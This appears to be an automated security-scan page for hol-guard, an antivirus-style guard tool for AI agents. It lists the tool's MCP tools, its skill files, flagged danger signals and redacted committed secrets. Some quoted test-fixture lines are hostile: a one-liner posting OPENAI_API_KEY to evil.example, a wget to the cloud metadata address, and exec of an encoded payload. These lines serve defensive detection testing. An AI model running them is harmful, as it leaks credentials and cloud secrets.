Open-source antivirus for AI agents: block risky tools, secret access, prompt injection, malicious packages, MCP servers, plugins, and skills at runtime.
Drift inferred · capture-to-capture
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
- HIGH code analysis flagged committed secret ×2 in hashgraph-online/hol-guard
transport stdio · streamable-http · http
verified
reported
listed in the official MCP registry counts 6 tools · 0 res
· 0 prompts
permission surface via code analysis
tools
-
create_policy
-
fetch
-
get_guard_status
-
get_policy_creation
-
search
-
validate_policy
prompt-surface
shipped agent-instruction files + hidden-content / dangerous-code findings —
quoted from the analyzed source
analyzed commit ae1fb55 · analyzer v33 · 1h ago
skills & prompt files 16
- skill hashgraph-online-hol-guard-ae1fb55/.factory/skills/hol-guard/SKILL.md
- skill hashgraph-online-hol-guard-ae1fb55/docs/guard/SKILL.md
- skill hashgraph-online-hol-guard-ae1fb55/integrations/claude-code-plugin/skills/setup/SKILL.md
- skill hashgraph-online-hol-guard-ae1fb55/integrations/claude-code-plugin/skills/status/SKILL.md
- skill hashgraph-online-hol-guard-ae1fb55/tests/fixtures/claude-plugin-good/skills/example/SKILL.md
- agent-rules hashgraph-online-hol-guard-ae1fb55/tests/fixtures/gemini-extension-good/GEMINI.md
- skill hashgraph-online-hol-guard-ae1fb55/tests/fixtures/good-plugin/skills/example/SKILL.md
- skill hashgraph-online-hol-guard-ae1fb55/tests/fixtures/hermes-plugin-evil/skills/security/malicious/SKILL.md
- skill hashgraph-online-hol-guard-ae1fb55/tests/fixtures/hermes-plugin-evil/skills/stealth/sneaky/SKILL.md
- skill hashgraph-online-hol-guard-ae1fb55/tests/fixtures/hermes-plugin-evil/skills/utils/benign/SKILL.md
- skill hashgraph-online-hol-guard-ae1fb55/tests/fixtures/kimi-plugin-good/skills/using-demo/SKILL.md
- skill hashgraph-online-hol-guard-ae1fb55/tests/fixtures/malicious-skill-plugin/skills/leaky-skill/SKILL.md
- skill hashgraph-online-hol-guard-ae1fb55/tests/fixtures/multi-plugin-repo/plugins/alpha-plugin/skills/example/SKILL.md
- skill hashgraph-online-hol-guard-ae1fb55/tests/fixtures/multi-plugin-repo/plugins/beta-plugin/skills/example/SKILL.md
- agent-rules hashgraph-online-hol-guard-ae1fb55/tests/fixtures/opencode-good/.opencode/commands/hello.md
- skill hashgraph-online-hol-guard-ae1fb55/tests/fixtures/skills-no-frontmatter/skills/bad-skill/SKILL.md
danger signals20
- dynamic code execution eval()/exec() hashgraph-online-hol-guard-ae1fb55/tests/fixtures/guard-red-team/canary-exfil-encoded.py :22
exec(base64.b64decode(_ENCODED_PAYLOAD).decode("utf-8")) - dynamic code execution eval()/exec() hashgraph-online-hol-guard-ae1fb55/tests/fixtures/guard-red-team/malicious-encoded-shell-exfil.py :21
exec(decoded) - dynamic code execution eval()/exec() hashgraph-online-hol-guard-ae1fb55/tests/test_cursor_watch_hook_script.py :31
exec(compile(source, "hol-guard-cursor-hook.py", "exec"), script_globals) - dynamic code execution __import__ sink hashgraph-online-hol-guard-ae1fb55/tests/test_guard_gvisor_reference_runtime.py :138
raise __import__("subprocess").TimeoutExpired(("runsc",), 1) - dynamic code execution eval()/exec() hashgraph-online-hol-guard-ae1fb55/tests/test_guard_phase03_local_install.py :166
exec(update_commands._DAEMON_REFRESH_BOOTSTRAP_SCRIPT, {}) - dynamic code execution __import__() hashgraph-online-hol-guard-ae1fb55/tests/test_guard_render.py :106
imported = __import__(module_name, fromlist=["redact_local_path"]) - dynamic code execution eval()/exec() hashgraph-online-hol-guard-ae1fb55/tests/test_guard_store_migrations.py :36
exec("from codex_plugin_scanner.guard.store import *", namespace) - dynamic code execution eval()/exec() hashgraph-online-hol-guard-ae1fb55/tests/test_guard_update_daemon_external_owner.py :155
exec(refresh_script, {}) - dynamic code execution eval()/exec() hashgraph-online-hol-guard-ae1fb55/tests/test_guard_update_daemon_handoff.py :83
exec(refresh_script, {}) - suspicious endpoint api.telegram.org hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/bridge/__init__.py :108
self.api_url = f"https://api.telegram.org/bot{token}" - suspicious endpoint 169.254.169.254 (cloud metadata) hashgraph-online-hol-guard-ae1fb55/tests/test_guard_extension_builder_listing.py :101
"https://169.254.169.254/latest", - suspicious endpoint 8.8.8.8 hashgraph-online-hol-guard-ae1fb55/tests/test_guard_extension_builder_listing.py :102
"https://8.8.8.8/", - suspicious endpoint 169.254.169.254 (cloud metadata) hashgraph-online-hol-guard-ae1fb55/tests/test_guard_gvisor_reference_runtime.py :271
"! wget -q -T 2 -O- http://169.254.169.254/latest/meta-data/", - suspicious endpoint 93.184.216.34 hashgraph-online-hol-guard-ae1fb55/tests/test_guard_remote_mcp_ipv4_mapped.py :19
_NATIVE_URL = "https://93.184.216.34/mcp" - suspicious endpoint 169.254.169.254 (cloud metadata) hashgraph-online-hol-guard-ae1fb55/tests/test_guard_restricted_archive_download.py :203
"https://169.254.169.254/latest/meta-data/archive.tgz", - committed secret AWS access key id hashgraph-online-hol-guard-ae1fb55/scripts/ci/rust_posttool_failclosed_integration.py :154
AKIAAA…(20 chars, redacted) - committed secret AWS access key id hashgraph-online-hol-guard-ae1fb55/scripts/ci/rust_posttool_failclosed_integration_v2.py :139
AKIAAA…(20 chars, redacted) - committed secret OpenAI key hashgraph-online-hol-guard-ae1fb55/tests/fixtures/hermes-plugin-evil/mcp_servers.json :19
sk-pro…(33 chars, redacted) - committed secret OpenAI key hashgraph-online-hol-guard-ae1fb55/tests/test_guard_detector_fp.py :156
sk-pro…(40 chars, redacted) - committed secret OpenAI key hashgraph-online-hol-guard-ae1fb55/tests/test_hermes_adapter.py :1042
sk-pro…(29 chars, redacted)
evidence-backed
findings quoted directly from the published source artifact — not inferred
code files: 3180
filesystem 400
- fs hashgraph-online-hol-guard-ae1fb55/ci/containment/test_linux_containment.py :8
import shutil - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/installed_hook_client.py :9
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/native_hook_client_support.py :15
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/probe_installed_pi_output.py :17
import shutil - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/probe_native_default_auto.py :18
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/resident_test_support.py :5
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_command_model_differential.py :9
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_command_model_resident.py :7
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_command_shadow_activity.py :5
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_guard_native_runtime_binary.py :7
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_guard_native_runtime_differential.py :5
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_guard_native_runtime_mutation_differential.py :8
from pathlib import Path
show 28 more
- fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_guard_native_runtime_resident.py :10
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_guard_native_runtime_resident_cross_process.py :8
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_guard_native_runtime_windows_resident.py :8
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_hol_guard_wheel.py :13
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_hook_client.py :6
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_hook_client_timeout.py :6
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_hook_client_transport.py :12
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_rule_contract.py :7
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_runtime_manifest.py :6
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_runtime_recovery.py :8
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_runtime_release.py :7
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_secret_read_inbox.py :6
from pathlib import Path - fs hashgraph-online-hol-guard-ae1fb55/distributions/mcpb/server/main.py :3
import shutil - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/bench_guard_hooks.py :32
from pathlib import Path - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/bench_guard_native_full_path.py :17
from pathlib import Path - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/bench_guard_native_installed_slo.py :18
from pathlib import Path - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/bench_guard_native_installed_slo_runtime.py :6
from pathlib import Path - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/bench_guard_native_release_gate.py :26
from pathlib import Path - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/bench_guard_native_runtime.py :16
from pathlib import Path - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/build_native_hol_guard_wheel.py :26
from pathlib import Path, PurePosixPath - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/check_privileged_workflows.py :10
from pathlib import Path - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/apply_sonar_audit_review.py :10
from pathlib import Path - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/build_pytest_duration_manifest.py :9
from pathlib import Path - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/build_pytest_shard_plan.py :13
from pathlib import Path - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/final_release_evidence.py :20
from pathlib import Path - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/finish_extension_authority_stability.py :4
from pathlib import Path - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/generate_release_evidence_contract.py :16
from pathlib import Path - fs (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/generate_release_notes.py :481
with open(args.output, "w", encoding="utf-8") as handle:
360 more not shown — this panel samples each group; the count above is the real total.
shell / exec 242
- shell hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/native_hook_client_support.py :11
import subprocess - shell hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/probe_installed_pi_output.py :20
import subprocess - shell hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/probe_native_default_auto.py :13
import subprocess - shell hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_command_model_differential.py :8
import subprocess - shell hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_command_model_resident.py :5
import subprocess - shell hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_guard_native_runtime_binary.py :5
import subprocess - shell hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_hol_guard_wheel.py :10
import subprocess - shell hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_hook_client.py :4
import subprocess - shell hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_hook_client_timeout.py :4
import subprocess - shell hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_hook_client_transport.py :10
import subprocess - shell hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_rule_contract.py :6
import subprocess - shell hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_runtime_recovery.py :5
import subprocess
show 28 more
- shell hashgraph-online-hol-guard-ae1fb55/distributions/mcpb/server/main.py :4
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/bench_guard_native_installed_slo.py :13
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/bench_guard_native_runtime.py :14
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/build_native_hol_guard_wheel.py :21
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/generate_release_notes.py :9
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/native_approval_contract_gate.py :17
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/native_receipt_persistence_gate.py :9
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/python_capability_cleanup_gate.py :9
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/run_mutation_target.py :9
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/rust_authority_ownership_gate.py :11
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/rust_posttool_failclosed_integration.py :10
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/rust_posttool_failclosed_integration_v2.py :10
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/rust_pretool_authority_integration.py :13
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/verify_extension_builder_install.py :11
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/codex-auto-resume-smoke.py :14
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/dockerlabs/installed_guard_package_origin.py :16
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/e2e-cursor-hook-smoke.py :7
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/integration/rust_pretool_adversarial.py :8
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/generate-release-manifest.py :14
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/run-cloud-integration-lab.py :11
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/run-local-lab-container.py :8
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/run-local-lab.py :10
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/native_slo_adapter.py :8
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/native_slo_session.py :9
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/release/verify_pyinstaller_macos_signing.py :9
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/retry_verify_published.py :7
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/run_installed_canary.py :10
import subprocess - shell (weak) hashgraph-online-hol-guard-ae1fb55/scripts/stress_guard_daemon.py :11
import subprocess
202 more not shown — this panel samples each group; the count above is the real total.
network 271
- net hashgraph-online-hol-guard-ae1fb55/ci/containment/test_linux_containment.py :9
import socket - net hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/installed_hook_client.py :6
import urllib.error - net hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/native_hook_client_support.py :10
import socket - net hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/resident_test_support.py :26
import socket - net hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_guard_native_runtime_resident_cross_process.py :5
import socket - net hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_guard_native_runtime_windows_resident.py :6
import socket - net hashgraph-online-hol-guard-ae1fb55/ci/native_runtime/test_native_hook_client_transport.py :8
import socket - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/apply_sonar_audit_review.py :11
from urllib.parse import urlencode - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/sonar_findings_report.py :9
from urllib.parse import urlencode - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/verify_release_workflow_run.py :9
import urllib.error - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/codex-auto-resume-smoke.py :12
import socket - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/compute_main_release_version.py :9
import urllib.error
show 28 more
- net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/installed_canary_proof.py :15
import urllib.parse - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/cloud-lab/fault_proxy.py :10
import socket - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/cloud-lab/lab_server.py :6
from urllib.parse import parse_qs, urlsplit - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/cloud-lab/lab_support.py :14
from urllib.error import HTTPError, URLError - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/cloud-lab/orchestrator_support.py :7
from urllib.parse import urlsplit - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/native_slo_session.py :13
import urllib.error - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/notify_merged_extension_claimants.py :13
import urllib.error - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/pypi_project_storage.py :98
from urllib.request import Request, urlopen - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/release_registry_retry.py :5
import urllib.error - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/stress_guard_daemon.py :15
import urllib.parse - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/stress_guard_daemon_runtime.py :9
import urllib.error - net (weak) hashgraph-online-hol-guard-ae1fb55/scripts/verify_release_registry.py :10
import urllib.parse - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/action_runner.py :12
from urllib.error import HTTPError, URLError - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/checks/kimi.py :8
from urllib.parse import urlparse - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/checks/kimi_support.py :7
from urllib.parse import urlparse - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/checks/security.py :13
from urllib.parse import urlparse - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/github_reporting.py :8
from urllib.parse import parse_qsl, quote, urlencode, urlsplit, urlunsplit - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/github_request.py :8
from urllib.error import URLError - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/adapters/bounded_cli_hook_daemon.py :7
import urllib.error - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/adapters/claude_daemon_hook_bridge.py :10
import urllib.error - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/adapters/claude_daemon_state.py :6
from urllib.parse import parse_qs - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/adapters/claude_hook_argv.py :9
from urllib.parse import urlencode - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/adapters/codex.py :12
from urllib.parse import urlencode - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/adapters/codex_daemon_hook_auth.py :15
from urllib.parse import urlparse - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/adapters/codex_daemon_hook_bridge_flow.py :9
import urllib.error - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/adapters/codex_daemon_hook_resume.py :15
import urllib.error - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/adapters/codex_remote_control.py :7
import socket - net hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/adapters/cursor_hook_script_template_head.py :18
import urllib.error
231 more not shown — this panel samples each group; the count above is the real total.
secrets 25
- secrets (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/apply_sonar_audit_review.py :42
headers = {"Authorization": "Bearer " + os.environ["SONAR_TOKEN"]} - secrets (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/sonar_findings_report.py :26
token = os.environ.get("GITHUB_TOKEN") - secrets (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/verify_protection_center_artifacts.py :53
raw_secret = os.environ.get("HOL_GUARD_ARTIFACT_SECRET", "") - secrets (weak) hashgraph-online-hol-guard-ae1fb55/scripts/ci/verify_release_workflow_run.py :113
token = os.environ.get("GH_TOKEN", "") - secrets (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/cloud-lab/cloud_service.py :38
token = os.environ.get("HOL_MDM_LAB_ADMIN_TOKEN", "").strip() - secrets (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/cloud-lab/device_runtime.py :105
os.environ["HOL_MDM_ENROLLMENT_TOKEN"], - secrets (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/cloud-lab/fault_proxy.py :396
token = os.environ.get("HOL_MDM_LAB_ADMIN_TOKEN", "").strip() - secrets (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/cloud-lab/orchestrator.py :153
token = os.environ.get("HOL_MDM_LAB_ADMIN_TOKEN", "").strip() - secrets (weak) hashgraph-online-hol-guard-ae1fb55/scripts/notify_merged_extension_claimants.py :478
token = os.environ.get("GH_TOKEN") or os.environ.get("GITHUB_TOKEN") or "" - secrets hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/cli/approval_gate_prompt.py :5
import getpass - secrets hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/mdm/lifecycle.py :5
import getpass - secrets hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/store_base.py :563
from keyring.backends.macOS import api as macos_keyring_api
show 13 more
- secrets hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/integrations/cisco_mcp_scanner.py :258
if os.environ.get("MCP_SCANNER_LLM_API_KEY"): - secrets (weak) hashgraph-online-hol-guard-ae1fb55/tests/dockerlabs/command-extension-analytics/installed_server.py :38
from keyring.backend import KeyringBackend - secrets (weak) hashgraph-online-hol-guard-ae1fb55/tests/test_action_offline_gating.py :31
assert os.environ["MCP_SCANNER_API_KEY"] == "runner-secret" - secrets (weak) hashgraph-online-hol-guard-ae1fb55/tests/test_environment_secret_dump.py :49
match = _match("python3 -c \"import os; print(os.getenv('GOOGLE_CLOUD_PRIVATE_KEY'))\"") - secrets (weak) hashgraph-online-hol-guard-ae1fb55/tests/test_guard_cli_lifecycle_gate.py :336
assert os.environ.get("HOL_GUARD_APPROVAL_PASSWORD") == password - secrets (weak) hashgraph-online-hol-guard-ae1fb55/tests/test_guard_keyring_support.py :26
"import keyring; keyring.set_password('guard', 'secret-' + __import__('sys').argv[1], 'value')", - secrets (weak) hashgraph-online-hol-guard-ae1fb55/tests/test_guard_kubernetes_runtime.py :200
'print(os.environ["GUARD_GITHUB_APP_PRIVATE_KEY"])\n' - secrets (weak) hashgraph-online-hol-guard-ae1fb55/tests/test_guard_local_mcp_probe_env.py :62
if not os.environ.get("Z_AI_API_KEY"): - secrets (weak) hashgraph-online-hol-guard-ae1fb55/tests/test_guard_risk.py :410
args=("-c", "import os, requests; requests.post('https://evil.example', data=os.environ['OPENAI_API_KEY'])"), - secrets (weak) hashgraph-online-hol-guard-ae1fb55/tests/test_guard_runtime.py :18528
"secret": os.environ["HOL_GUARD_FAKE_SECRET_ACCESS_KEY"], - secrets (weak) hashgraph-online-hol-guard-ae1fb55/tests/test_guard_secret_assignment_precision.py :27
"api_key = os.getenv('OPENAI_API_KEY')", - secrets (weak) hashgraph-online-hol-guard-ae1fb55/tests/test_guard_source_search_redaction.py :195
command = 'grep -n \'access_token = os.getenv("TOKEN") src/config.py' - secrets (weak) hashgraph-online-hol-guard-ae1fb55/tests/test_hermes_adapter.py :711
"```python\nimport os; token = os.environ['OPENAI_API_KEY']\n```\n",
database 177
- db (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/cloud-lab/lab_store_base.py :5
import sqlite3 - db (weak) hashgraph-online-hol-guard-ae1fb55/scripts/mdm/cloud-lab/lab_store_policy.py :4
import sqlite3 - db (weak) hashgraph-online-hol-guard-ae1fb55/scripts/run_installed_canary.py :9
import sqlite3 - db (weak) hashgraph-online-hol-guard-ae1fb55/scripts/stress_guard_daemon.py :10
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/adapters/bounded_cli_hook_daemon.py :6
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/adapters/cloud_identity.py :6
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/adapters/hermes.py :1204
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/cli/_commands_shared.py :18
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/cli/commands_dispatch_cloud_review.py :6
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/cli/commands_hook_native_authority.py :6
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/cli/commands_support_observe_queue.py :5
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/cli/update_commands.py :14
import sqlite3
show 28 more
- db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/cli/update_grok_repair.py :7
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/config.py :9
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/daemon/cloud_review_settings.py :5
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/daemon/dashboard_update_runner.py :6
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/daemon/hook_native_review_approval.py :13
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/daemon/local_cli_api.py :5
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/daemon/local_cli_mcp_store.py :5
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/daemon/protection_repair_retry.py :5
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/daemon/server.py :18
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/daemon/service_lifecycle.py :6
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/guard_home_state.py :6
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/harness_usage.py :7
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/mcp/policy_store.py :12
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/mcp/policy_tools.py :12
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/native_policy_snapshot_publisher.py :7
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/policy_bundle_activation.py :6
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/runtime/exact_cloud_review_diagnostics.py :5
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/runtime/linux_artifact_lifecycle.py :14
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/runtime/linux_tetragon_observer.py :9
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/runtime_artifact_reconciliation.py :6
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/sqlite_cloud_review_recovery.py :5
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/sqlite_profile.py :6
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/sqlite_recovery.py :5
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/store_approval_writes.py :6
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/store_approvals.py :9
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/store_base.py :18
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/store_command_activity.py :7
import sqlite3 - db hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/store_command_activity_api.py :8
import sqlite3
137 more not shown — this panel samples each group; the count above is the real total.
tool registrations 6
- search hashgraph-online-hol-guard-ae1fb55/src/codex_plugin_scanner/guard/mcp/server.py :193
